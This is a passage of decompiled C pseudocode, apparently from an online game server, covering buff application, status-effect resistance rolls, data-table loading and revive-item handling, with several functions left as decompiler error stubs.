AbnormalStateDictionary::AbState::AbStateStr *sklidx, int empowkeeptime) { AxialListNearScanCoupleParty *v7; // esi@1 int v8; // ecx@1 void *v9; // esi@5 int v10; // ST14_4@6 #331 *v11; // eax@6 bool v12; // zf@8 int v13; // [sp+Ch] [bp-14h]@4 int numa; // [sp+24h] [bp+4h]@4 v7 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AxialListNearScanCoupleParty::alnsp_Buffing"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AxialListNearScanCoupleParty::alnsp_Buffing"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = num; if ( num >= v7->baseclass_0.alns_bp ) v8 = v7->baseclass_0.alns_bp; if ( v8 > 0 ) { numa = (int)v7->baseclass_0.alns_buffer; v13 = v8; do { v9 = *(void **)numa; if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(**(_DWORD **)numa + 1136))(*(_DWORD *)numa) != 3 ) { v10 = clockwatch.cw_CurrTick; v11 = (#331 *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v9 + 1304))(v9); if ( AbnormalStateContainer::AbstateListInObject::asl_AbstateSet( v11, (unsigned __int16)caster, soul, (AbnormalStateDictionary::AbState::AbStateStr *)strength, (#331 *)sklidx, (unsigned int)v9, v10, empowkeeptime, 0, 0) ) { ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet(v9, soul, -1, strength); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v9 + 992))(v9, soul, -1, 0); } } v12 = v13 == 1; numa += 8; --v13; } while ( !v12 ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AxialListNearScanCoupleParty::alnsp_Buffing"); } //----- (00409F40) -------------------------------------------------------- void __thiscall AxialListNearScanGuildAcademy::alnsga_Buffing(AxialListNearScanGuildAcademy *this, int num, #331 *caster, AbnormalStateInfo::ABSTATEINDEX soul, int strength, AbnormalStateDictionary::AbState::AbStateStr *sklidx, int empowkeeptime) { AxialListNearScanGuildAcademy *v7; // esi@1 int v8; // ecx@1 void *v9; // esi@5 int v10; // ST14_4@6 #331 *v11; // eax@6 bool v12; // zf@8 int v13; // [sp+Ch] [bp-14h]@4 int numa; // [sp+24h] [bp+4h]@4 v7 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AxialListNearScanGuildAcademy::alnsga_Buffing"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AxialListNearScanGuildAcademy::alnsga_Buffing"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = num; if ( num >= v7->baseclass_0.alns_bp ) v8 = v7->baseclass_0.alns_bp; if ( v8 > 0 ) { numa = (int)v7->baseclass_0.alns_buffer; v13 = v8; do { v9 = *(void **)numa; if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(**(_DWORD **)numa + 1136))(*(_DWORD *)numa) != 3 ) { v10 = clockwatch.cw_CurrTick; v11 = (#331 *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v9 + 1304))(v9); if ( AbnormalStateContainer::AbstateListInObject::asl_AbstateSet( v11, (unsigned __int16)caster, soul, (AbnormalStateDictionary::AbState::AbStateStr *)strength, (#331 *)sklidx, (unsigned int)v9, v10, empowkeeptime, 0, 0) ) { ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet(v9, soul, -1, strength); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v9 + 992))(v9, soul, -1, 0); } } v12 = v13 == 1; numa += 8; --v13; } while ( !v12 ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AxialListNearScanGuildAcademy::alnsga_Buffing"); } //----- (0040A080) -------------------------------------------------------- #error "40A080: undefined or illegal type '#748' (funcsize=209)" //----- (0040A370) -------------------------------------------------------- #error "40A370: undefined or illegal type '#748' (funcsize=242)" //----- (0040A6B0) -------------------------------------------------------- #error "40A6B0: undefined or illegal type '#748' (funcsize=165)" //----- (0040A900) -------------------------------------------------------- #error "40A900: undefined or illegal type 'ListArray' (funcsize=2808)" //----- (0040DBB0) -------------------------------------------------------- int __thiscall AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_FindEffect(AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *this, SubAbStateInfo::SubAbstateAction action) { unsigned int v2; // eax@1 char *v3; // edx@1 v2 = 0; v3 = (char *)this->assa_Effect; while ( *(_DWORD *)v3 != action ) { ++v2; v3 += 8; if ( v2 >= 4 ) return 0; } return this->assa_Effect[v2].value; } //----- (0040DBE0) -------------------------------------------------------- bool __thiscall AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_IsHaveEffect(AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *this, SubAbStateInfo::SubAbstateAction action) { unsigned int v2; // eax@1 char *v3; // ecx@1 v2 = 0; v3 = (char *)this->assa_Effect; while ( *(_DWORD *)v3 != action ) { ++v2; v3 += 8; if ( v2 >= 4 ) return 0; } return 1; } //----- (0040DC10) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_AbnormalState_Set(#331 *this, #331 *a2, AbnormalStateInfo::ABSTATEINDEX stateid, int strength, AbnormalStateDictionary::AbState::AbStateStr *sklidx, unsigned int starttime, int empowkeeptime, int restcount, int justkeep_millisec, AbnormalStateContainer::EnchantFrom enchantfrom) { return 0; } //----- (0040DC20) -------------------------------------------------------- #error "40DC20: undefined or illegal type '#331' (funcsize=22)" //----- (0040DC60) -------------------------------------------------------- #error "40DC60: undefined or illegal type '#331' (funcsize=74)" //----- (0040DD20) -------------------------------------------------------- #error "40DD20: undefined or illegal type '#331' (funcsize=90)" //----- (0040DE00) -------------------------------------------------------- #error "40DE00: undefined or illegal type '#331' (funcsize=93)" //----- (0040DEE0) -------------------------------------------------------- #error "40DEE0: undefined or illegal type '#331' (funcsize=67)" //----- (0040DF90) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShineMob::so_AbnormalState_Resist(int this, int sklidx) { unsigned __int16 v2; // ax@1 signed int v3; // esi@1 MobResist *v4; // eax@3 unsigned int v5; // eax@14 char *v6; // eax@14 int v7; // ecx@14 v2 = *(_WORD *)(*(_DWORD *)(this + 7576) + 20); v3 = 0; if ( v2 != -1 ) { if ( *(_DWORD *)(*(_DWORD *)sklidx + 248) ) { v4 = MobResistTable::operator__(&mobresisttable, v2); if ( v4 ) { switch ( *(_DWORD *)(*(_DWORD *)sklidx + 248) ) { case 4: v3 = v4->ResDot; break; case 1: v3 = v4->ResStun; break; case 2: v3 = v4->ResMoveSpeed; break; case 3: v3 = v4->ResFear; break; case 8: v3 = v4->ResBinding; break; case 7: v3 = v4->ResReverse; break; case 9: v3 = v4->ResMesmerize; break; case 0xA: v3 = v4->ResSeverBone; break; case 0xB: v3 = v4->ResKnockBack; break; default: break; } } } } v5 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v5; v6 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v5]]; v7 = *((_DWORD *)v6 + 8193) & (*((_DWORD *)v6 + 8192) + 1); *((_DWORD *)v6 + 8192) = v7; return *(_WORD *)&v6[2 * v7] < v3; } //----- (0040E090) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_AbnormalState_Resist(void *this, int sklidx) { bool result; // al@2 int v3; // eax@3 int v4; // edx@3 int v5; // esi@3 unsigned int v6; // eax@3 char *v7; // eax@3 int v8; // ecx@3 if ( sklidx ) { v3 = *(_DWORD *)(sklidx + 4); v4 = *(_DWORD *)((char *)this + v3 + 4400); v5 = *(_DWORD *)((char *)this + v3 + 6360); v6 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v6; v7 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v6]]; v8 = *((_DWORD *)v7 + 8193) & (*((_DWORD *)v7 + 8192) + 1); *((_DWORD *)v7 + 8192) = v8; result = *(_WORD *)&v7[2 * v8] < v4 + v5; } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_AbnormalState_Resist : Invalid AbState", 0); result = 1; } return result; } //----- (0040E120) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x48Au, 0x4Fu) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (0040E1D0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0xF42u, 0x11Eu) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (0040E280) -------------------------------------------------------- void __thiscall AbnormalStateDictionary::SubAbState::SubAbState(AbnormalStateDictionary::SubAbState *this) { AbnormalStateDictionary::SubAbState *v1; // esi@1 char *v2; // edi@1 v1 = this; v2 = (char *)&this->sas_BinData; CCharacterTitleData::CCharacterTitleData(&this->sas_BinData.baseclass_0); v2 += 60; memset(v2, 0, 0x4Cu); v2 += 76; *(_WORD *)v2 = 0; v2[2] = 0; v1->sas_DefAbstate = &v1->sas_BinData.bdb_defaultblock; v1->sas_BinData.bdb_defaultblock.ID = -1; v1->sas_DefAbstate->InxName[0] = 0; v1->sas_DefAbstate->Strength = 0; v1->sas_DefAbstate->Type = 38; v1->sas_DefAbstate->ActionIndexD = 0; v1->sas_DefAbstate->ActionIndexC = 0; v1->sas_DefAbstate->ActionIndexA = 0; v1->sas_DefAbstate->ActionIndexA = 0; v1->sas_DefAbstate->ActionArgD = 0; v1->sas_DefAbstate->ActionArgC = 0; v1->sas_DefAbstate->ActionArgB = 0; v1->sas_DefAbstate->ActionArgA = 0; } //----- (0040E2F0) -------------------------------------------------------- void __thiscall AbnormalStateDictionary::SubAbState::sas_Load(AbnormalStateDictionary::SubAbState *this) { AbnormalStateDictionary::SubAbState *v1; // esi@1 _iobuf *v2; // eax@1 v1 = this; BinaryDataBox::bdb_ReadData(&this->sas_BinData, "../9Data/Shine/SubAbState.shn"); v1->sas_Number = v1->sas_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v2 = fopen("../9Data/SubAbStateClass.txt", "w"); fclose(v2); } //----- (0040E330) -------------------------------------------------------- SubAbStateInfo *__thiscall AbnormalStateDictionary::SubAbState::sas_Find(AbnormalStateDictionary::SubAbState *this, char *index, int str) { SubAbStateInfo **v3; // ebx@1 SubAbStateInfo *result; // eax@2 unsigned int v5; // esi@3 char *v6; // ebx@4 void *v7; // ebp@6 unsigned int v8; // edi@8 void *v9; // eax@10 int v10; // eax@16 char namematch; // [sp+7h] [bp-Dh]@3 AbnormalStateDictionary::SubAbState *v12; // [sp+8h] [bp-Ch]@1 unsigned int idx; // [sp+Ch] [bp-8h]@3 v3 = (SubAbStateInfo **)this; v12 = this; if ( *index == 45 ) { result = this->sas_DefAbstate; } else { v5 = 0; namematch = 0; idx = 0; if ( !this->sas_Number ) goto LABEL_25; v6 = (char *)&this->sas_BinData; while ( 1 ) { if ( v5 < *(_DWORD *)(*((_DWORD *)v6 + 12) + 40) ) v7 = CDataReader::GetRecord((CDataReader *)v6, v5); else v7 = v6 + 60; v8 = *(_DWORD *)((char *)v7 + 34); if ( v8 != 999 ) { v9 = v5 < *(_DWORD *)(*((_DWORD *)v6 + 12) + 40) ? CDataReader::GetRecord((CDataReader *)v6, v5) : v6 + 60; v8 = *(_DWORD *)((char *)v7 + 34); if ( v8 > 0x14 ) { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateDictionary::SubAbState::sas_Find : Wrong MaxStrength", *(_DWORD *)((char *)v9 + 34)); return v12->sas_DefAbstate; } } if ( !strcmp(index, (const char *)v7 + 2) ) { namematch = 1; if ( v8 == 999 || v8 == str ) return (SubAbStateInfo *)v7; } v10 = idx++ + 1; if ( idx >= v12->sas_Number ) break; v5 = v10; } v3 = (SubAbStateInfo **)v12; if ( !namematch ) LABEL_25: AssertClass::ac_AssertFail(&shineassert, "AbnormalStateDictionary::SubAbState::sas_Find : Not found", index); result = *v3; } return result; } //----- (0040E480) -------------------------------------------------------- void __thiscall AbnormalStateDictionary::AbState::AbState(AbnormalStateDictionary::AbState *this) { AbnormalStateDictionary::AbState *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->as_BinData.baseclass_0); memset(&v1->as_BinData.bdb_defaultblock, 0, 0x11Cu); *(_WORD *)&v1->as_BinData.bdb_defaultblock.MainStateInx[31] = 0; BTree::BTree(&v1->as_BTreeID); BTree::BTree(&v1->as_BTreeIndex); } //----- (0040E4F0) -------------------------------------------------------- void __thiscall AbnormalStateDictionary::AbState::_AbState(AbnormalStateDictionary::AbState *this) { AbnormalStateDictionary::AbState *v1; // esi@1 v1 = this; operator delete(this->as_AbstateArray); BTree::_BTree(&v1->as_BTreeIndex); BTree::_BTree(&v1->as_BTreeID); CCharacterTitleData::_CCharacterTitleData(&v1->as_BinData.baseclass_0); } //----- (0040E560) -------------------------------------------------------- void __thiscall AbnormalStateDictionary::AbState::as_Load(AbnormalStateDictionary::AbState *this) { AbnormalStateDictionary::AbState *v1; // esi@1 unsigned int v2; // eax@1 unsigned int v3; // edi@1 void *v4; // eax@3 void *v5; // eax@7 void *v6; // eax@11 unsigned int v7; // ecx@14 int v8; // eax@14 int v9; // edx@16 int v10; // edi@16 void *v11; // ebx@18 void *v12; // eax@21 void *v13; // ebx@24 void *v14; // eax@27 void *v15; // ebx@30 signed int v16; // edi@42 SubAbStateInfo *v17; // eax@43 int v18; // ecx@43 signed int v19; // edx@43 int v20; // ecx@45 SubAbStateInfo::SubAbstateAction v21; // ebp@45 int v22; // ecx@45 SubAbStateInfo::SubAbstateAction v23; // ebp@45 int v24; // ecx@45 SubAbStateInfo::SubAbstateAction v25; // ebp@45 AbnormalStateDictionary::AbState::AbStateStr *v26; // ebp@45 unsigned int v27; // edx@45 SubAbStateInfo::SubAbstateAction v28; // eax@45 int v29; // ecx@45 int v30; // esi@48 int v31; // edi@48 int str; // [sp+8h] [bp-Ch]@42 unsigned int idx; // [sp+Ch] [bp-8h]@16 v1 = this; BinaryDataBox::bdb_ReadData(&this->as_BinData, "../9Data/Shine/AbState.shn"); v2 = v1->as_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v3 = 0; v1->as_Number = v2; v1->as_maxhandle = 0; if ( v2 ) { do { if ( v3 < v1->as_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v4 = CDataReader::GetRecord(&v1->as_BinData.baseclass_0.baseclass_0, v3); else v4 = &v1->as_BinData.bdb_defaultblock; if ( *(_WORD *)v4 > v1->as_maxhandle ) { if ( v3 < v1->as_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v5 = CDataReader::GetRecord(&v1->as_BinData.baseclass_0.baseclass_0, v3); else v5 = &v1->as_BinData.bdb_defaultblock; v1->as_maxhandle = *(_WORD *)v5; } ++v3; } while ( v3 < v1->as_Number ); } v6 = operator new__(728 * (v1->as_maxhandle + 1)); v1->as_AbstateArray = (AbnormalStateDictionary::AbState::AbStateStr *)v6; if ( v6 == 0 ) { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateDictionary::AbState::as_Load : Fail to alloc memory", v6 != 0); ShineExit("AbnormalStateDictionary::AbState::as_Load"); } v7 = 0; v8 = 0; do { v1->as_AbstateArray[v8].index = 0; v1->as_AbstateArray[v8].debuffresist = (int *)168; ++v7; ++v8; } while ( v7 <= v1->as_maxhandle ); v9 = (int)v1->as_StateIndexList; memset(v1->as_StateIndexList, 0, sizeof(v1->as_StateIndexList)); v10 = 0; idx = 0; if ( v1->as_Number ) { do { AbnormalStateContainer::AbnormalStateList::operator__(&abstatetemplate, v10); if ( v10 < v1->as_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v11 = CDataReader::GetRecord(&v1->as_BinData.baseclass_0.baseclass_0, v10); else v11 = &v1->as_BinData.bdb_defaultblock; if ( v10 < v1->as_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v12 = CDataReader::GetRecord(&v1->as_BinData.baseclass_0.baseclass_0, v10); else v12 = &v1->as_BinData.bdb_defaultblock; BTree::bt_Insert(&v1->as_BTreeID, (const char *)v12 + 2, *(_WORD *)v11); if ( v10 < v1->as_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v13 = CDataReader::GetRecord(&v1->as_BinData.baseclass_0.baseclass_0, v10); else v13 = &v1->as_BinData.bdb_defaultblock; if ( v10 < v1->as_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v14 = CDataReader::GetRecord(&v1->as_BinData.baseclass_0.baseclass_0, v10); else v14 = &v1->as_BinData.bdb_defaultblock; BTree::bt_Insert(&v1->as_BTreeIndex, (const char *)v14 + 2, *(_DWORD *)((char *)v13 + 34)); if ( v10 < v1->as_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v15 = CDataReader::GetRecord(&v1->as_BinData.baseclass_0.baseclass_0, v10); else v15 = &v1->as_BinData.bdb_defaultblock; v1->as_AbstateArray[*(_WORD *)v15].index = (AbnormalStateInfo *)v15; switch ( *((_DWORD *)v15 + 61) ) { case 3: v1->as_AbstateArray[*(_WORD *)v15].debuffresist = (int *)176; break; case 4: v1->as_AbstateArray[*(_WORD *)v15].debuffresist = (int *)172; break; case 5: v1->as_AbstateArray[*(_WORD *)v15].debuffresist = (int *)180; break; } if ( *((_DWORD *)v15 + 62) == 2 ) { v1->as_AbstateArray[*(_WORD *)v15].debuffresist = (int *)184; } else { if ( *((_DWORD *)v15 + 62) == 13 ) v1->as_AbstateArray[*(_WORD *)v15].debuffresist = (int *)188; } v16 = 0; v1->as_StateIndexList[*(_DWORD *)((char *)v15 + 34)] = &v1->as_AbstateArray[*(_WORD *)v15]; str = 0; do { v17 = AbnormalStateDictionary::SubAbState::sas_Find(&dic_subabstate, (char *)v15 + 212, str); v1->as_AbstateArray[*(_WORD *)v15].subabstate[v16].assa_info = v17; v18 = (int)v1->as_AbstateArray[*(_WORD *)v15].subabstate[v16].assa_Effect; v19 = 4; do { *(_DWORD *)v18 = 0; v18 += 8; --v19; } while ( v19 ); v20 = (int)&v1->as_AbstateArray[*(_WORD *)v15].subabstate[v16]; v21 = v17->ActionIndexA; v1->as_AbstateArray[*(_WORD *)v15].subabstate[v16].assa_Effect[0].value = v17->ActionArgA; *(_DWORD *)(v20 + 4) = v21; v22 = (int)&v1->as_AbstateArray[*(_WORD *)v15].subabstate[v16]; v23 = v17->ActionIndexB; v1->as_AbstateArray[*(_WORD *)v15].subabstate[v16].assa_Effect[1].value = v17->ActionArgB; *(_DWORD *)(v22 + 12) = v23; v24 = (int)&v1->as_AbstateArray[*(_WORD *)v15].subabstate[v16]; v25 = v17->ActionIndexC; v1->as_AbstateArray[*(_WORD *)v15].subabstate[v16].assa_Effect[2].value = v17->ActionArgC; *(_DWORD *)(v24 + 20) = v25; v26 = v1->as_AbstateArray; v27 = v17->ActionArgD; v28 = v17->ActionIndexD; v29 = (int)&v26[*(_WORD *)v15].subabstate[v16]; v26[*(_WORD *)v15].subabstate[v16].assa_Effect[3].value = v27; ++v16; *(_DWORD *)(v29 + 28) = v28; ++str; } while ( v16 < 20 ); v10 = idx++ + 1; } while ( idx < v1->as_Number ); v9 = (int)v1->as_StateIndexList; } v30 = 0; v31 = v9; do { if ( v30 < 391 ) { if ( *(_DWORD *)v31 && **(_DWORD **)v31 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "AbnormalStateDictionary::AbState::as_Load : Null Index", v30); ShineExit("AbnormalStateDictionary::AbState::as_Load"); } } else { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateDictionary::AbState::as_FromIndex : Invalid skill idx", v30); } ++v30; v31 += 4; } while ( (unsigned int)v30 < 0x187 ); } //----- (0040E980) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::so_FillBriefABState(void *this, int data, int num) { int v3; // eax@1 void *v4; // eax@3 int v5; // edi@3 unsigned __int16 v6; // bp@4 unsigned __int16 v7; // dx@5 int v8; // ecx@6 unsigned __int16 v9; // bx@6 bool v10; // cf@6 int v11; // esi@7 ORErrorMessage *v12; // ecx@8 int v13; // edx@11 AbnormalStateContainer::AbstateElementInObject *v14; // eax@12 int v15; // edx@15 char v16; // al@15 int v17; // esi@15 AbnormalStateContainer::AbstateElementInObject *v18; // ecx@16 LOBYTE(v3) = data; if ( data ) { LOBYTE(v3) = num; if ( num ) { *(_BYTE *)num = 0; v4 = (void *)(*(int (**)(void))(*(_DWORD *)this + 1304))(); v3 = AbnormalStateContainer::AbstateListInObject::asl_GetAbstateList(v4); v5 = v3; if ( v3 ) { v3 = *(_WORD *)(v3 + 14); v6 = *(_WORD *)(*(_DWORD *)(v5 + 8) + 12 * v3 + 4); while ( 1 ) { v7 = *(_WORD *)(v5 + 4); if ( v6 >= v7 ) break; v8 = *(_DWORD *)(v5 + 8); v3 = v6; v9 = v6; v10 = v6 < v7; v6 = *(_WORD *)(v8 + 12 * v6 + 4); if ( v10 ) { v11 = 12 * v3; LOBYTE(v3) = *(_BYTE *)(v8 + 12 * v3 + 8); if ( (_BYTE)v3 ) { v12 = *(ORErrorMessage **)(v8 + v11); if ( v12 ) { LOBYTE(v3) = num; if ( *(_BYTE *)num >= 0x1Eu ) return v3; *(_DWORD *)data = AbnormalStateContainer::AbstateElementInObject::aeo_GetIndex(v12); if ( v9 < *(_WORD *)(v5 + 4) && (v13 = *(_DWORD *)(v5 + 8), *(_BYTE *)(v13 + v11 + 8)) ) v14 = *(AbnormalStateContainer::AbstateElementInObject **)(v13 + v11); else v14 = 0; *(_DWORD *)(data + 4) = AbnormalStateContainer::AbstateElementInObject::aeo_GetRestTime(v14); if ( v9 < *(_WORD *)(v5 + 4) && (v15 = *(_DWORD *)(v5 + 8), v16 = *(_BYTE *)(v11 + v15 + 8), v17 = v15 + v11, v16) ) v18 = *(AbnormalStateContainer::AbstateElementInObject **)v17; else v18 = 0; *(_DWORD *)(data + 8) = AbnormalStateContainer::AbstateElementInObject::aeo_GetStrength(v18); LOBYTE(v3) = num; ++*(_BYTE *)num; data += 12; } } } } } } } return v3; } //----- (0040EA90) -------------------------------------------------------- void __thiscall UseEffect::UseItemJustReviveAtDead::UseItemJustReviveAtDead(UseEffect::UseItemJustReviveAtDead *this) { UseEffect::UseItemJustReviveAtDead *v1; // esi@1 v1 = this; UseEffect::UseItemNormal::UseItemNormal(&this->baseclass_0); v1->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemJustReviveAtDead::_vftable_; } // 5983C0: using guessed type int (__stdcall *UseEffect__UseItemJustReviveAtDead___vftable_)(int, int itm); //----- (0040EAB0) -------------------------------------------------------- void __thiscall UseEffect::UseItemJustReviveAtDead::_UseItemJustReviveAtDead(UseEffect::UseItemJustReviveAtDead *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemJustReviveAtDead::_vftable_; UseEffect::UseItemChest::_UseItemChest((UseEffect::UseItemNoEffect *)this); } // 5983C0: using guessed type int (__stdcall *UseEffect__UseItemJustReviveAtDead___vftable_)(int, int itm); //----- (0040EAC0) -------------------------------------------------------- unsigned int __thiscall std::vector>::size(std::vector > *this) { unsigned int result; // eax@1 result = (unsigned int)this->_Myfirst; if ( result ) result = (signed int)((char *)this->_Mylast - result) / 116; return result; } //----- (0040EAF0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_REVIVEITEMUSE_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 unsigned __int16 v5; // di@1 ItemDataBox::ItemDataBoxIndex *v6; // ebx@1 ITEM_INVEN loc; // [sp+10h] [bp-14h]@3 FunctionEntarance _; // [sp+14h] [bp-10h]@1 int v9; // [sp+20h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_REVIVEITEMUSE_CMD"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_REVIVEITEMUSE_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_REVIVEITEMUSE_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v9 = 0; v5 = ItemDataBox::idb_SpecialItems(&itemdatabox)->sii_JustReviveItem; v6 = ItemDataBox::operator__(&itemdatabox, v5); if ( v6 ) { if ( ShineObjectClass::ShinePlayer::sp_FindItemFromInventory(v4, v5, (int)&loc) ) UseEffect::UseItemNormal::uib_AfterCast(&ui_JustRevive, (#440 *)v4, (ItemBag *)v4 + 8892, v6, loc.Inven); else (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 18, 43, 1822); } else { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 18, 43, 1823); } --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_REVIVEITEMUSE_CMD"); } //----- (0040EBF0) -------------------------------------------------------- #error "40EBF0: undefined or illegal type '#331' (funcsize=106)" //----- (0040ED40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ReviveByItem(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ReviveByItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ReviveByItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_ReviveNow(v1, 0x3E8u); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ReviveByItem"); } //----- (0040EDE0) -------------------------------------------------------- #error "40EDE0: undefined or illegal type '#440' (funcsize=128)" //----- (0040EF90) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_ChargedEffectAfterLoginComplete(void *this) { int v1; // esi@1 int (__stdcall **cealc)(int, __int16); // [sp+8h] [bp-14h]@1 int v3; // [sp+Ch] [bp-10h]@1 int v4; // [sp+18h] [bp-4h]@1 v1 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ChargedEffectAfterLoginComplete"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ChargedEffectAfterLoginComplete"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; cealc = &ChargedItemEffectList::ChargedEffectAfterLoginComplete::_vftable_; v3 = v1; LOBYTE(v4) = 1; List::l_4AllInList((List *)(v1 + 91064), (ListIteratorDefault *)&cealc); --funcallanalizer.fca_stackpoint; cealc = &ListIteratorDefault::_vftable_; v4 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ChargedEffectAfterLoginComplete"); } // 598470: using guessed type int (__stdcall *ChargedItemEffectList__ChargedEffectAfterLoginComplete___vftable_)(int ele, __int16 handle); // 5D4CA8: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (0040F050) -------------------------------------------------------- AbnormalStateContainer::AbstateElementInObject *__cdecl std::copy(AbnormalStateContainer::AbstateElementInObject *_First, AbnormalStateContainer::AbstateElementInObject *_Last, AbnormalStateContainer::AbstateElementInObject *_Dest) { AbnormalStateContainer::AbstateElementInObject *v3; // edx@1 AbnormalStateContainer::AbstateElementInObject *result; // eax@1 const void *v5; // esi@2 void *v6; // edi@2 v3 = _First; result = _Dest; while ( v3 != _Last ) { v5 = v3; v6 = result; v3 = (AbnormalStateContainer::AbstateElementInObject *)((char *)v3 + 116); result = (AbnormalStateContainer::AbstateElementInObject *)((char *)result + 116); memcpy(v6, v5, 0x74u); } return result; } //----- (0040F080) -------------------------------------------------------- #error "40F080: undefined or illegal type '#440' (funcsize=35)" //----- (0040F130) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_CanChargedEnchant(void *this, int index) { void *v2; // esi@1 int v3; // eax@1 int v4; // edi@1 unsigned __int16 v5; // si@1 